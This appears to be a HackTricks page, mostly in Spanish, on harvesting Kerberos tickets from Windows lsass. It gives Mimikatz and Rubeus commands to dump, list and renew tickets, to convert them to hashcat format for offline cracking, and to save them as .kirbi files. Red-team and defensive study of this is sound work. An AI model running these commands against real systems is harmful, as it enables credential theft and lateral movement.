Harvesting tickets from Windows

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Los tickets en Windows son gestionados y almacenados por el proceso lsass (Local Security Authority Subsystem Service), responsable de manejar las políticas de seguridad. Para extraer estos tickets, es necesario interactuar con el proceso lsass. Un usuario no administrativo solo puede acceder a sus propios tickets, mientras que un administrador tiene el privilegio de extraer todos los tickets en el sistema. Para tales operaciones, las herramientas Mimikatz y Rubeus son ampliamente empleadas, cada una ofreciendo diferentes comandos y funcionalidades.

Mimikatz

Mimikatz es una herramienta versátil que puede interactuar con la seguridad de Windows. Se utiliza no solo para extraer tickets, sino también para diversas otras operaciones relacionadas con la seguridad.

# Extracting tickets using Mimikatz
sekurlsa::tickets /export

Rubeus

Rubeus es una herramienta específicamente diseñada para la interacción y manipulación de Kerberos. Se utiliza para la extracción y manejo de tickets, así como para otras actividades relacionadas con Kerberos.

# Dumping all tickets using Rubeus
.\Rubeus dump
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))

# Listing all tickets
.\Rubeus.exe triage

# Dumping a specific ticket by LUID
.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))

# Renewing a ticket
.\Rubeus.exe renew /ticket:<BASE64_TICKET>

# Converting a ticket to hashcat format for offline cracking
.\Rubeus.exe hash /ticket:<BASE64_TICKET>

Al usar estos comandos, asegúrese de reemplazar los marcadores de posición como <BASE64_TICKET> y <luid> con el ticket codificado en Base64 y el ID de inicio de sesión reales, respectivamente. Estas herramientas proporcionan una funcionalidad extensa para gestionar tickets e interactuar con los mecanismos de seguridad de Windows.

Referencias

• https://www.tarlogic.com/en/blog/how-to-attack-kerberos/

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

• Consulta los planes de suscripción!

• Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.

• Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.